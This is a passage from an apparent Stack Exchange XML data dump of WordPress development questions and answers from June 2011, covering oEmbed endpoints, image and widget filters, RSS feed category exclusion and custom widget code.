OEMBED &amp;amp;lt;/b&amp;amp;gt;]]&amp;gt;&amp;lt;/html&amp;gt;&#xA;        &amp;lt;/OEmbed&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The API endpoint sends the right content-type header (&lt;code&gt;header(&quot;Content-type: text/xml&quot;);&lt;/code&gt;) as required by the &lt;a href=&quot;http://oembed.com/&quot; rel=&quot;nofollow&quot;&gt;oembed spec&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The user adding the post has admin privileges and therefore is allowed &lt;code&gt;unfiltered_html&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm out of ideas and at wit's end. What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="6632" LastEditorUserId="6632" LastEditorDisplayName="" LastEditDate="2011-06-30T11:20:09.550" LastActivityDate="2011-06-30T12:55:27.217" Title="Wordpress refuses to show oembed URL" Tags="&lt;oembed&gt;" AnswerCount="2" />
  <row Id="21587" PostTypeId="2" ParentId="21474" CreationDate="2011-06-30T10:18:18.457" Score="0" ViewCount="" Body="&lt;p&gt;You answer was close but not enough because the hook checkpoint for get_image_tag_&lt;strong&gt;class()&lt;/strong&gt; only changes the class attribute. So I was playing around and find out that the right thing for wrapping each image is &lt;strong&gt;get_image_tag()&lt;/strong&gt; so the code goes like this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_image_tag($html, $id , $alt, $title){&#xA;&#xA;$html = &quot;&amp;lt;div class='**wrap-div**'&amp;gt;&quot; . $html . &quot;&amp;lt;/div&amp;gt;&quot;;&#xA;return $html;&#xA;}&#xA;&#xA;add_filter('get_image_tag','my_image_tag',10,4);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You answer was partially right so it's the best one ;)&#xA;Cheers mate and thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="6609" LastActivityDate="2011-06-30T10:18:18.457" />
  <row Id="21588" PostTypeId="2" ParentId="21581" CreationDate="2011-06-30T10:32:22.987" Score="0" ViewCount="" Body="&lt;p&gt;why not use &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/wp_list_categories&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_list_categories&lt;/code&gt;&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_list_categories( 'show_count=1' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-30T10:32:22.987" CommentCount="2" />
  <row Id="21589" PostTypeId="1" AcceptedAnswerId="24510" CreationDate="2011-06-30T10:32:47.960" Score="1" ViewCount="95" Body="&lt;p&gt;I am trying to outline a new project where I want to give my users the ability to customize their 'profile' pages in my website theme. Concepts like adding in their own background images, choosing templates etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seemed logical to me to store this information in the author meta, as that seems to be the only table that stores unique information for each user. Once I have input boxes setup then I can easily make the calls in my theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Users don't appear to be post-types, or taxonomies, but I can't figure out what they 'really' are. Could someone take a moment to describe what 'users' really are in the eyes of WordPress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I was ultimately hoping for is to find a class where I can easily add metaboxes to the edit author profile pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do know how to extend profile fields via forms, but I am looking for something much more flexible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*I use the farinspace metabox class for my post-types and absolutely love how it works, really hoping I can use something similar for the author pages..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is any of this possible, or is there a better route I should take?&lt;/p&gt;&#xA;" OwnerUserId="370" LastActivityDate="2011-07-30T19:13:14.437" Title="What are 'authors' in Wordpress, and is there an author 'metabox class' available anywhere?" Tags="&lt;metabox&gt;&lt;author&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="21590" PostTypeId="1" AcceptedAnswerId="21613" CreationDate="2011-06-30T10:35:32.967" Score="0" ViewCount="45" Body="&lt;p&gt;I have a problem with the wordpress editor.&#xA;It keeps removing my enters and scrambling the content.&#xA;How can I solve this problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/xtPMN.jpg&quot; alt=&quot;Error in editor&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5807" LastActivityDate="2011-06-30T12:45:24.600" Title="wysiwyg is scrambled" Tags="&lt;editor&gt;&lt;wysiwyg&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="21591" PostTypeId="1" CreationDate="2011-06-29T04:23:39.070" Score="1" ViewCount="15" Body="&lt;p&gt;I have built several Wordpress websites and noticed that custom fields are not restored to previous revisions.&#xA;This might cause a problem when using custom fields to store content.&#xA;Anybody knows how to add the custom fields to the revision history?&#xA;Thanks&lt;/p&gt;&#xA;" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-06-30T11:30:24.480" LastActivityDate="2011-06-30T11:30:24.480" Title="Wordpress - custom fields are not restored to previous revisions" Tags="&lt;custom-field&gt;&lt;revisions&gt;" CommentCount="0" />
  <row Id="21593" PostTypeId="1" CreationDate="2011-06-30T11:00:21.220" Score="0" ViewCount="52" Body="&lt;p&gt;I can't seem to get &lt;code&gt;post__in&lt;/code&gt; to work with custom post types. Is this true? What's the alternative?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array('post_type' =&amp;gt; array( 'post', 'page', 'tf_events', 'duka' ), &#xA;   'orderby' =&amp;gt; 'menu_order', 'showposts' =&amp;gt; -1, &#xA;   'post__in' =&amp;gt; explode(',',$mtheme_featured) );&#xA;query_posts($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$mtheme_featured&lt;/code&gt; has two ids separated by commas, one post and one tf_event; only the post is shown.&lt;/p&gt;&#xA;" OwnerUserId="2816" LastActivityDate="2011-08-29T11:36:27.177" Title="Query custom type posts by array of IDs" Tags="&lt;custom-post-types&gt;&lt;query-posts&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="21594" PostTypeId="2" ParentId="21549" CreationDate="2011-06-30T11:07:45.230" Score="-1" ViewCount="" Body="&lt;p&gt;Just install this plugin, &lt;a href=&quot;http://wordpress.org/extend/plugins/search-permalink/&quot; rel=&quot;nofollow&quot;&gt;Search Permalink&lt;/a&gt;.that's it.you got answer.:)&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-06-30T11:07:45.230" CommentCount="1" />
  <row Id="21595" PostTypeId="2" ParentId="21506" CreationDate="2011-06-30T11:08:43.997" Score="0" ViewCount="" Body="&lt;p&gt;example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php //get top level page ID;&#xA;$top = ( $post-&amp;gt;post_parent ) ? array_pop(get_post_ancestors($post-&amp;gt;ID)) : $post-&amp;gt;ID;  &#xA;  echo '&amp;lt;ul&amp;gt;'; &#xA;    wp_list_pages('title_li=&amp;amp;child_of='.$top.'&amp;amp;depth=1'); &#xA;  echo '&amp;lt;/ul&amp;gt;'; &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-06-30T11:08:43.997" />
  <row Id="21597" PostTypeId="2" ParentId="21586" CreationDate="2011-06-30T11:20:31.580" Score="4" ViewCount="" Body="&lt;p&gt;Two things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;WordPress' oEmbed implementation prefers and works better with JSON.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To use XML, WordPress needs the simplexml library in PHP to be available. If it's not available, then you'd probably get the results you're seeing. It's getting the XML but can't parse it without simplexml, so... nothing happens.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Best way to fix the problem: Stop trying to use XML. Use JSON instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The link type would be application/json+oembed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The endpoint would return json data (using a content type of application/json):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&quot;type&quot;:&quot;rich&quot;,&#xA;&quot;width&quot;:&quot;400&quot;,&#xA;&quot;height&quot;:&quot;342&quot;,&#xA;&quot;html&quot;:&quot;&amp;amp;lt;b&amp;amp;gt;HELLO WORLD FROM OEMBED &amp;amp;lt;/b&amp;amp;gt;&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Things tend to work better that way. JSON is the preferred format for oEmbed with all providers.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-06-30T11:20:31.580" CommentCount="2" />
  <row Id="21598" PostTypeId="2" ParentId="21593" CreationDate="2011-06-30T11:28:32.967" Score="0" ViewCount="" Body="&lt;p&gt;You said the post type is called 'tf_event', but in the 'post_type' array it's 'tf_events'.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-06-30T11:28:32.967" CommentCount="4" />
  <row Id="21599" PostTypeId="1" AcceptedAnswerId="21600" CreationDate="2011-06-30T11:29:12.640" Score="0" ViewCount="118" Body="&lt;p&gt;I'm trying to fix a friend's feed to show full content in the category feed instead of only a summary.  He's already done the setting bit, but it still doesn't seem to work.  Thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: The feed in question is &lt;a href=&quot;http://blogs.gnome.org/happyaron/category/debian/feed/&quot; rel=&quot;nofollow&quot;&gt;http://blogs.gnome.org/happyaron/category/debian/feed/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6637" LastActivityDate="2011-06-30T11:43:48.660" Title="How to make category RSS feeds show full content" Tags="&lt;categories&gt;&lt;feed&gt;&lt;network&gt;" AnswerCount="1" />
  <row Id="21600" PostTypeId="2" ParentId="21599" CreationDate="2011-06-30T11:37:18.753" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/full-text-feed/&quot; rel=&quot;nofollow&quot;&gt;Full Text Feed&lt;/a&gt; plugin shows full content....follow the installation steps there,and then goto settings-&gt;Reading-&gt;For each article in a feed, show=&gt;select Full text and save.it'll work.if you want to implement via the code means,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (get_option('rss_use_excerpt')) : ?&amp;gt;&#xA;        &amp;lt;description&amp;gt;&amp;lt;![CDATA[&amp;lt;?php the_excerpt_rss() ?&amp;gt;]]&amp;gt;&amp;lt;/description&amp;gt;&#xA;&amp;lt;?php else : ?&amp;gt;&#xA;        &amp;lt;description&amp;gt;&amp;lt;![CDATA[&amp;lt;?php the_excerpt_rss() ?&amp;gt;]]&amp;gt;&amp;lt;/description&amp;gt;&#xA;    &amp;lt;?php if ( strlen( $post-&amp;gt;post_content ) &amp;gt; 0 ) : ?&amp;gt;&#xA;        &amp;lt;content:encoded&amp;gt;&amp;lt;![CDATA[&amp;lt;?php the_content() ?&amp;gt;]]&amp;gt;&amp;lt;/content:encoded&amp;gt;&#xA;    &amp;lt;?php else : ?&amp;gt;&#xA;        &amp;lt;content:encoded&amp;gt;&amp;lt;![CDATA[&amp;lt;?php the_excerpt_rss() ?&amp;gt;]]&amp;gt;&amp;lt;/content:encoded&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5669" LastEditorUserId="5669" LastEditorDisplayName="" LastEditDate="2011-06-30T11:43:48.660" LastActivityDate="2011-06-30T11:43:48.660" />
  <row Id="21601" PostTypeId="2" ParentId="21589" CreationDate="2011-06-30T11:43:41.207" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;/wp-admin/user-edit.php&lt;/code&gt;: &lt;code&gt;do_action( 'show_user_profile', $profileuser );&lt;/code&gt;. Try hooking your call to the metabox there. If it doesn't work, you should take a look on which scripts get added for post edit screens and add them there too.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-30T11:43:41.207" />
  <row Id="21602" PostTypeId="2" ParentId="21521" CreationDate="2011-06-30T11:45:08.430" Score="1" ViewCount="" Body="&lt;p&gt;First, you used a Theme Options tutorial that is &lt;em&gt;way&lt;/em&gt; out of date. Using such out-of-date code is going to cause you many problems. &lt;a href=&quot;http://www.chipbennett.net/2011/02/17/incorporating-the-settings-api-in-wordpress-themes/&quot; rel=&quot;nofollow&quot;&gt;You might try this one that I wrote&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But specific to your current code, your call to &lt;code&gt;add_menu_page()&lt;/code&gt; uses the &lt;code&gt;edit_themes&lt;/code&gt; capability, which is limited to &lt;strong&gt;Administrator&lt;/strong&gt; only. You need to use the &lt;code&gt;edit_theme_options&lt;/code&gt; capability instead. (You also should be using &lt;code&gt;add_theme_page()&lt;/code&gt; &lt;em&gt;instead&lt;/em&gt; of &lt;code&gt;add_menu_page()&lt;/code&gt;.)&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-30T11:45:08.430" CommentCount="1" />
  <row Id="21603" PostTypeId="1" CreationDate="2011-06-30T11:45:30.623" Score="0" ViewCount="47" Body="&lt;p&gt;I have Query_posts in my page.&#xA;the posts have  tags to separate for read more,&#xA;But while doing query posts  it is pulling all content for &lt;code&gt;&amp;lt;?php the_content('read more..');?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="5823" LastEditorUserId="5669" LastEditorDisplayName="" LastEditDate="2011-06-30T12:50:23.740" LastActivityDate="2011-06-30T12:50:23.740" Title="Read More is not working in query posts" Tags="&lt;query-posts&gt;&lt;more&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="21604" PostTypeId="2" ParentId="21581" CreationDate="2011-06-30T11:48:02.630" Score="1" ViewCount="" Body="&lt;p&gt;you can try a much less elegant but a working solution which is to get all of the users posts and count their categories:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = new WP_Query(array(&#xA;    'author' =&amp;gt; $curauth-&amp;gt;ID,&#xA;    'posts_per_page' =&amp;gt; -1&#xA;    )&#xA;    );&#xA;if ($query-&amp;gt;have_posts()){&#xA;    $u_cats = array();&#xA;    while ($query-&amp;gt;have_posts()){&#xA;        $query-&amp;gt;the_post();&#xA;        $terms = wp_get_object_terms( $post-&amp;gt;ID, 'category');&#xA;        foreach ($terms as $term){&#xA;            if (is_array($u_cats[$term-&amp;gt;term_id])){&#xA;                $u_cats[$term-&amp;gt;term_id]['count'] = $u_cats[$term-&amp;gt;term_id]['count'] +1;&#xA;            }else{&#xA;                $u_cats[$term-&amp;gt;term_id]['count'] = 1;&#xA;                $u_cats[$term-&amp;gt;term_id]['name'] = $term-&amp;gt;name;&#xA;                $u_cats[$term-&amp;gt;term_id]['ID'] = $term-&amp;gt;term_id ;&#xA;            }&#xA;        }&#xA;    }&#xA;    //Now $u_cats is an array of categories each with name, ID and author post count for that category&#xA;    $x = 0;&#xA;?&amp;gt;&#xA;&amp;lt;ul class=&quot;category-list&quot;&amp;gt;&#xA;    &amp;lt;?php foreach($u_cats as $category) : &#xA;     if( $x%2 ){ ?&amp;gt;&#xA;    &amp;lt;li class=&quot;odd&quot;&amp;gt;&#xA;    &amp;lt;?php } else { ?&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php echo get_category_link( $category['ID'] ); ?&amp;gt;&quot; title=&quot;&amp;lt;?php echo $category['name'];?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $category['name']; ?&amp;gt;&amp;lt;/a&amp;gt;(&amp;lt;?php echo $category['count']; ?&amp;gt;)&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php $x++; endforeach; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;?php &#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-30T11:48:02.630" />
  <row Id="21605" PostTypeId="1" CreationDate="2011-06-30T11:55:28.780" Score="0" ViewCount="30" Body="&lt;p&gt;Ok, so I wanted to &quot;customise&quot; the default links widget. To start with I added a &lt;code&gt;title&lt;/code&gt; field, so I could have an &quot;overall&quot; title on the widget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This isn't 'saving' though, for some reason. Can you have a look at my code and tell me where I'm going wrong:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Advanced Links Widget class&#xA; */&#xA;class TC_Widget_Advanced_Links extends WP_Widget {&#xA;&#xA;    function TC_Widget_Advanced_Links() {&#xA;        $widget_ops = array('description' =&amp;gt; __( &quot;Advanced links widget lets you filter by category and search.&quot; ) );&#xA;        $this-&amp;gt;WP_Widget('links', __('Advanced Links'), $widget_ops);&#xA;    }&#xA;&#xA;    function widget( $args, $instance ) {&#xA;        extract($args, EXTR_SKIP);&#xA;&#xA;        print_r($instance); // no &quot;title&quot; variable here!&#xA;&#xA;        $show_description = isset($instance['description']) ? $instance['description'] : false;&#xA;        $show_name = isset($instance['name']) ? $instance['name'] : false;&#xA;        $show_rating = isset($instance['rating']) ? $instance['rating'] : false;&#xA;        $show_images = isset($instance['images']) ? $instance['images'] : true;&#xA;        $category = isset($instance['category']) ? $instance['category'] : false;&#xA;        $title = isset($instance['title']) ? $instance['title'] : __('Advanced Links');&#xA;&#xA;        if ( is_admin() &amp;amp;&amp;amp; !$category ) {&#xA;            // Display All Links widget as such in the widgets screen&#xA;            echo $before_widget . $before_title. __('All Links') . $after_title . $after_widget;&#xA;            return;&#xA;        }&#xA;&#xA;        echo $before_title.$title.$after_title;&#xA;        echo &quot;&amp;lt;hr class='tc_al_widget' /&amp;gt;&quot;;&#xA;&#xA;        $before_widget = preg_replace('/id=&quot;[^&quot;]*&quot;/','id=&quot;%id&quot;', $before_widget);&#xA;        tc_al_list_bookmarks(apply_filters('widget_links_args', array(&#xA;            'title_before' =&amp;gt; $before_title, 'title_after' =&amp;gt; $after_title,&#xA;            'category_before' =&amp;gt; $before_widget, 'category_after' =&amp;gt; $after_widget,&#xA;            'show_images' =&amp;gt; $show_images, 'show_description' =&amp;gt; $show_description,&#xA;            'show_name' =&amp;gt; $show_name, 'show_rating' =&amp;gt; $show_rating,&#xA;            'category' =&amp;gt; $category, 'class' =&amp;gt; 'linkcat widget'&#xA;        )));&#xA;    }&#xA;&#xA;    function update( $new_instance, $old_instance ) {&#xA;        $new_instance = (array) $new_instance;&#xA;        $instance = array( 'images' =&amp;gt; 0, 'name' =&amp;gt; 0, 'description' =&amp;gt; 0, 'rating' =&amp;gt; 0);&#xA;        foreach ( $instance as $field =&amp;gt; $val ) {&#xA;            if ( isset($new_instance[$field]) )&#xA;                $instance[$field] = 1;&#xA;        }&#xA;        $instance['category'] = intval($new_instance['category']);&#xA;        $instance['title'] = esc_attr(strip_tags($new_instance['title']));&#xA;        return $instance;&#xA;    }&#xA;&#xA;    function form( $instance ) {&#xA;&#xA;        //Defaults&#xA;        $instance = wp_parse_args( (array) $instance, array( 'images' =&amp;gt; true, 'name' =&amp;gt; true, 'description' =&amp;gt; false, 'rating' =&amp;gt; false, 'category' =&amp;gt; false, 'title' =&amp;gt; 'Advanced Links' ) );&#xA;        $link_cats = get_terms( 'link_category');&#xA;?&amp;gt;&#xA;        &amp;lt;p&amp;gt;&#xA;            &amp;lt;label for=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('title'); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php _e('Widget Title'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; class=&quot;widefat&quot; id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('title'); ?&amp;gt;&quot; name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name('title'); ?&amp;gt;&quot; value=&quot;&amp;lt;?php echo $instance['title']; ?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;&#xA;        &amp;lt;label for=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('category'); ?&amp;gt;&quot; class=&quot;screen-reader-text&quot;&amp;gt;&amp;lt;?php _e('Select Link Category'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;        &amp;lt;select class=&quot;widefat&quot; id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('category'); ?&amp;gt;&quot; name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name('category'); ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;&quot;&amp;gt;&amp;lt;?php _e('All Links'); ?&amp;gt;&amp;lt;/option&amp;gt;&#xA;        &amp;lt;?php&#xA;        foreach ( $link_cats as $link_cat ) {&#xA;            echo '&amp;lt;option value=&quot;' . intval($link_cat-&amp;gt;term_id) . '&quot;'&#xA;                . ( $link_cat-&amp;gt;term_id == $instance['category'] ? ' selected=&quot;selected&quot;' : '' )&#xA;                . '&amp;gt;' . $link_cat-&amp;gt;name . &quot;&amp;lt;/option&amp;gt;\n&quot;;&#xA;        }&#xA;        ?&amp;gt;&#xA;        &amp;lt;/select&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;&#xA;        &amp;lt;input class=&quot;checkbox&quot; type=&quot;checkbox&quot; &amp;lt;?php checked($instance['images'], true) ?&amp;gt; id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('images'); ?&amp;gt;&quot; name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name('images'); ?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;label for=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('images'); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php _e('Show Link Image'); ?&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;        &amp;lt;input class=&quot;checkbox&quot; type=&quot;checkbox&quot; &amp;lt;?php checked($instance['name'], true) ?&amp;gt; id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('name'); ?&amp;gt;&quot; name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name('name'); ?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;label for=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('name'); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php _e('Show Link Name'); ?&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;        &amp;lt;input class=&quot;checkbox&quot; type=&quot;checkbox&quot; &amp;lt;?php checked($instance['description'], true) ?&amp;gt; id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('description'); ?&amp;gt;&quot; name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name('description'); ?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;label for=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('description'); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php _e('Show Link Description'); ?&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;        &amp;lt;input class=&quot;checkbox&quot; type=&quot;checkbox&quot; &amp;lt;?php checked($instance['rating'], true) ?&amp;gt; id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('rating'); ?&amp;gt;&quot; name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name('rating'); ?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;label for=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('rating'); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php _e('Show Link Rating'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;&amp;lt;?php&#xA;    }&#xA;}&#xA;&#xA;function tc_al_widgets_init(){&#xA;    register_widget('TC_Widget_Advanced_Links');&#xA;}&#xA;add_action('widgets_init', 'tc_al_widgets_init', 1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;thank you.&lt;/p&gt;&#xA;" OwnerUserId="4529" LastEditorUserId="4529" LastEditorDisplayName="" LastEditDate="2011-06-30T12:09:34.210" LastActivityDate="2011-06-30T12:09:34.210" Title="$instance variable not being saved in widget" Tags="&lt;plugin-development&gt;&lt;widgets&gt;" CommentCount="3" />
  <row Id="21606" PostTypeId="1" CreationDate="2011-06-30T12:15:31.867" Score="2" ViewCount="43" Body="&lt;p&gt;I'm trying to exclude certain categories from the mydomain.com/feed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Researching online I came across this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php bloginfo('url'); ?&amp;gt;/feed?cat=-3&amp;amp;cat=-12&quot;&amp;gt;Entries (RSS)&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now the question is should I create a function (if yes what function to create) so I can exclude categories without having anyone to redirect to custom feed URLs&lt;/p&gt;&#xA;" OwnerUserId="5411" LastActivityDate="2011-06-30T13:08:54.003" Title="How to add category exclusion to rss feed" Tags="&lt;rss&gt;" AnswerCount="2" />
  <row Id="21607" PostTypeId="2" ParentId="21603" CreationDate="2011-06-30T12:15:59.590" Score="1" ViewCount="" Body="&lt;p&gt;this is for the codex:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Please remember that the &quot;Read More&quot; tag is used only on the Home page which shows the latest posts. It does not work in &quot;Pages&quot;. If you want to turn it on in Pages too for showing a set of partial posts, use the following code inside the loop for the dynamic content: &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;global $more;&#xA;$more = 0;&#xA;?&amp;gt;&#xA;//The code must be inserted ahead of the call to the content&#xA;&#xA;&amp;lt;?php the_content('Continue Reading'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So basically it means that you need to golbalize &lt;code&gt;$more&lt;/code&gt; and set it to zero (0) before your query.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-30T12:15:59.590" />
  <row Id="21608" PostTypeId="1" AcceptedAnswerId="21609" CreationDate="2011-06-30T09:43:57.757" Score="0" ViewCount="49" Body="&lt;p&gt;Is there anyway to customize the default WordPress widgets or do i need to create my own? For example, I want my recent post widgets to display date aswell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/Richard&lt;/p&gt;&#xA;" OwnerUserId="6992" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-06-30T13:03:25.547" LastActivityDate="2011-06-30T13:03:25.547" Title="Customizing wordpress default widgets?" Tags="&lt;widgets&gt;&lt;date&gt;&lt;recent-posts&gt;" AnswerCount="1" />
  <row Id="21609" PostTypeId="2" ParentId="21608" CreationDate="2011-06-30T10:26:31.397" Score="2" ViewCount="" Body="&lt;p&gt;You'll have to create your own but you can copy the code and customize from /wp-includes/default-widgets.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you edit the defaults they'll screw up when you update WP.&lt;/p&gt;&#xA;" OwnerUserId="7663" LastActivityDate="2011-06-30T10:26:31.397" CommentCount="1" />
  <row Id="21611" PostTypeId="2" ParentId="21606" CreationDate="2011-06-30T12:29:32.947" Score="5" ViewCount="" Body="&lt;p&gt;In your functions.php add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function excludeFeedCats($query) {&#xA;    if ($query-&amp;gt;is_feed) {&#xA;        $query-&amp;gt;set('cat','-3, -12');&#xA;    }&#xA;return $query;&#xA;}&#xA;&#xA;add_filter('pre_get_posts','excludeFeedCats');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or use &lt;a href=&quot;http://wordpress.org/extend/plugins/simply-exclude/&quot; rel=&quot;nofollow&quot;&gt;Simply Exclude&lt;/a&gt; for more flexibility. &lt;/p&gt;&#xA;" OwnerUserId="4451" LastActivityDate="2011-06-30T12:29:32.947" />
  <row Id="21612" PostTypeId="1" CreationDate="2011-06-30T12:44:19.097" Score="0" ViewCount="91" Body="&lt;p&gt;When image is being added in a post it is being wrapped with a &lt;code&gt;&amp;lt;a href&amp;gt;&amp;lt;/a&amp;gt;&lt;/code&gt;&#xA;I want to know which class controls this segment and where I can find a decent doc for this kind of problems because wp docs sucks when it comes to development and I just started working with WordPress and I don't want to dig in a bunch of code just to solve a simple problem. Cheers!&lt;/p&gt;&#xA;" OwnerUserId="6609" LastEditorUserId="4451" LastEditorDisplayName="" LastEditDate="2011-06-30T13:00:40.593" LastActivityDate="2011-06-30T13:25:55.437" Title="How to remove link from an image in a post?" Tags="&lt;image&gt;&lt;link&gt;&lt;removal&gt;" AnswerCount="2" />
